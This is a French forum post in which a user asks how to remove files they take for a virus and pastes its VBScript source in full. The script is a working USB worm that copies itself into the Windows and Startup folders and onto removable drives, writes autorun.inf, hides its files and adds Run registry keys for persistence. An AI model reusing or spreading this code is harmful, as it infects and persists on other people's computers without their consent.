Problème de sécurité/VIRUS

Bonjour,
je rencontre un problème avec des fichiers que je n'arrive pas à supprimer officescan.vbs, winrun.vbs, winrun.dll.vbs. et je ne sais pas comment supprimer ce "virus".
Se virus s'est propagé à mes disque amovible, et modifie le titre d'internet explorer en inscrivant // ;) anna I Liebe YOU ==> MILK@3_/!!!.

Quand j'ai ouvert les fichier avec Bloc-Notes voila de quoi était constitué les fichiers

'This was ONLY FOR LOL or fun!
on error resume next
dim messource,weg,disqueamovible,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=Wscript.exe winrun.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)

do while not text.atendofstream
messource=messource&text.readline
messource=messource & vbcrlf
loop

do
RUNASSET "compte admin","domaine","mot de passe"
Set weg = fs.getspecialfolder(0)
set tf = fs.getfile(weg & "\winrun.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(weg & "\winrun.dll.vbs",2,true)
tf.write messource
tf.close
set tf = fs.getfile(weg & "\winrun.dll.vbs")
tf.attributes = 39
Set weg = fs.getspecialfolder(0)
set tf = fs.getfile("C:\Documents and Settings\All Users\Menu Démarrer\Programmes\Démarrage\officescan.vbs")
set tf=fs.createtextfile("C:\Documents and Settings\All Users\Menu Démarrer\Programmes\Démarrage\officescan.vbs",2,true)
tf.write messource
tf.close
for each disqueamovible in fs.drives
If (disqueamovible.drivetype = 1 or disqueamovible.drivetype = 2) and disqueamovible.path <> "A:" then
set tf=fs.getfile(disqueamovible.path &"\winrun.vbs")
tf.attributes =32
set tf=fs.createtextfile(disqueamovible.path &"\winrun.vbs",2,true)
tf.write messource
tf.close
set tf=fs.getfile(disqueamovible.path &"\winrun.vbs")
tf.attributes =39
set tf =fs.getfile(disqueamovible.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(disqueamovible.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(disqueamovible.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("Wscript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winrun.dll",weg&"\winrun.dll.vbs"
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\officescan","C:\Documents and Settings\All Users\Menu Démarrer\Programmes\Démarrage\officescan.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","// ;) anna I Liebe YOU ==> MILK@3|_!!!"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run weg&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
RunAsSet()

j